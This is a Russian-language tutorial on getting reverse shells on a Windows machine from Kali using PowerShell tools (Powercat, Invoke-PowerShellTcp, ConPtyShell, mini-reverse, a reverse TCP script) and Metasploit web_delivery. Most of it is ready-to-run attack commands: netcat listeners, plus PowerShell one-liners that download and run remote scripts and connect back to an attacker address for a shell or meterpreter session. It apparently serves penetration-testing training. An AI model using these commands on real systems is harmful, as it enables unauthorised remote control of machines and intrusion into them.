Здравствуйте, дорогие друзья.
Сегодня мы рассмотрим, как получить обратную оболочку с помощью сценариев Powershell на платформе Windows.
Содержание
· Powercat
· Invoke-PowerShellTcp
· ConPtyShell
· Мини-реверс
· PowerShell обратный TCP
· Web_delivery (Metasploit)
Требования:
Кали Линукс
Windows-машина
Powercat
Powercat — это базовая сетевая утилита для выполнения операций сетевой связи с низким уровнем привилегий. Powercat — это программа, которая предлагает возможности Netcat для всех текущих версий Microsoft Windows. Она имеет тенденцию использовать собственные компоненты PowerShell версии 2.
Нам нужно зайти на сайт, указанный ниже. Пользователи могут скачать утилиту по ссылке, поскольку это веб-сайт Github.
wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1
Давайте перенесем этот файл с помощью Python, нам необходимо запустить сервер Python.
python -m SimpleHTTPServer 80
Пользователи должны запустить прослушиватель Netcat на порту 4444 для получения обратного соединения с помощью команды:
nc -vlp 4444
Итак, теперь нам нужно загрузить наш компьютер с Windows и запустить команду PowerShell в командной строке (CMD). Обратите внимание, что IP-адрес должен быть вашим локальным IP-адресом (IP-адрес Kali).
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.3/powercat.ps1');powercat -c 192.168.1.3 -p 4444 -e cmd"
Вы получите обратную оболочку в прослушивателе Netcat после выполнения команды. Вы можете использовать команду whoami, чтобы увидеть, получаем ли мы правильную оболочку. Это сообщит Вам тип учетной записи пользователя, вошедшего в систему.
Invoke-PowerShellTcp
Этот сценарий PowerShell можно использовать для обратного или привязки интерактивного PowerShell. Чтобы связать сценарий с портом, нам нужно использовать прослушиватель Netcat.
Этот веб-сайт, упомянутый ниже, следует посетить.
Поскольку это веб-сайт Github, Вам действительно следует скачать файл по ссылке:
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
Через wget скрипт скачивается, и теперь нам предстоит передать этот файл через сервер Python.
python -m SimpleHTTPServer 80
Чтобы получить обратное соединение, нам следует сначала запустить прослушиватель Netcat на порту 4444.
nc -vlp 4444
Пользователи должны запустить следующую команду в командной строке компьютера с Windows. Это поможет выполнить файл PowerShell.
Помните, что IP-адрес должен быть вашим локальным IP-адресом (IP-адрес Kali).
powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.1.3/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.3 -Port 4444
После запуска скрипта мы также получим обратную оболочку в прослушивателе Netcat.
Используйте команду «whoami», возможно, у нас просто правильный обратный шелл. Это сообщит Вам тип учетной записи пользователя, вошедшего в систему.
ConptyShell
ConptyShell — это интерактивная обратная оболочка сервера Windows. ConPtyShell преобразует Вашу оболочку bash в удаленную оболочку PowerShell. CreatePseudoConsole() — это функция ConptyShell, которая впервые использовалась, и она создает Pseudo Console и оболочку, к которой Pseudo Console подключается с помощью ввода/вывода.
Пользователям необходимо перейти на веб-сайт, указанный ниже.
Поскольку это веб-сайт Github, Вам необходимо скачать файл по ссылке.
wget https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1
Как запускаем ссылку, скрипт скачивается, и теперь нам предстоит передать этот файл через сервер Python.
python -m SimpleHTTPServer 80
Запустите прослушиватель Netcat на порту 4444 для получения обратного соединения.
stty raw -echo; (stty size; cat) | nc -lvnp 4444
Пользователи должны ввести следующую команду в командную строку компьютера с Windows. Это поможет в выполнении файла ConPtyShell.
Помните, что IP-адрес должен быть вашим локальным IP-адресом (IP-адрес Kali).
powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.1.3/Invoke-ConPtyShell.ps1'); Invoke-ConPtyShell 192.168.1.3 4444
Мы видим, что псевдофункция создана, и после использования команды мы получаем полностью интерактивную оболочку.
mini-reverse.ps1
С помощью небольшого мини-реверсивного скрипта мы получим обратную оболочку.
Этот веб-сайт, указанный ниже, необходимо посетить, и, поскольку это веб-сайт Github, мы должны загрузить файл по ссылке.
Мы должны изучить код внутри скрипта и изменить указанный там IP-адрес на наш локальный IP-адрес (IP-адрес Kali).
Закончив внесение изменений, сохраните файл и запустите сервер Python.
python -m SimpleHTTPServer 80
Чтобы получить обратное соединение, необходимо сначала запустить прослушиватель Netcat на порту 4444.
nc -nvlp 4444
Пользователи должны ввести следующую команду в командную строку компьютера с Windows. Это облегчит выполнение мини-обратного файла. Имейте в виду, что IP-адрес должен быть вашим локальным IP-адресом (IP-адрес Kali). Команда поможет нам получить обратную оболочку.
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.3/mini-reverse.ps1')
Получаем обратную оболочку в слушателе Netcat:
PowerShell обратный TCP
Теперь просто используйте сценарий PowerShell для связи с удаленным хостом. Вместо процессов, все оболочки в этой среде используют команду Invoke-Expression. Удаленный хост всегда имеет полный контроль над клиентом.
Нам нужно перейти на сайт, указанный ниже. Это сайт Github, вам необходимо скачать файл по ссылке:
Когда скрипт будет загружен, просто проверьте его код и замените указанный там IP-адрес на наш локальный IP-адрес (IP-адрес Kali). После внесения изменений сохраните файл и запустите сервер Python.
python -m SimpleHTTPServer 80
После этого запустите прослушиватель Netcat на порту 9000 для получения обратного соединения.
nc -vlp 9000
Мы должны запустить следующую команду, в командной строке компьютера с Windows. Это поможет нам запустить обратный файл tcp.ps1. Помните, что IP-адрес должен быть вашим локальным IP-адресом (IP-адрес Kali). Команда поможет нам получить обратную оболочку.
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.3/powershell_reverse_tcp.ps1')
Как только команда будет выполнена, мы получим обратный шелл.
Web_Delivery
Этот эксплойт использует Metasploit Framework, а целевыми операционными системами являются Windows и Linux. Эта атака использует полезную нагрузку.
Полезная нагрузка:
Полезные нагрузки - это вредоносные сценарии, которые злоумышленник использует для взаимодействия с целевой машиной для осуществления атаки. В Metasploit файлы полезной нагрузки хранятся в модулях.
Исполняемая полезная нагрузка:
Пользователям следует запустить платформу Metasploit и выполнить поиск по запросу «web delivery». Нам будет предоставлено два варианта полезной нагрузки, и мы должны выбрать тот, который содержит скрипт web delivery.
exploit/multi/script/web delivery
Начните искать цели, используя «show targets», чтобы мы увидели около 5 целей, которые помогают генерировать код для создания бэкдора. Затем выберите вторую цель и используйте команду:
set target 2
и используйте команды ниже, чтобы установить полезную нагрузку и lhost, lport, а затем использовать их.
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.3
set lport 8888
exploit
Код, который мы получим после запуска скрипта нужно просто скопировать и запустить его на нашей машине с Windows. После завершения выполнения установите сеанс на
sessions 1
У Вас будет оболочка meterpreter, и Вы легко получите информацию об этой оболочке с помощью следующей команды.
sysinfo
На этом все. Всем хорошего дня!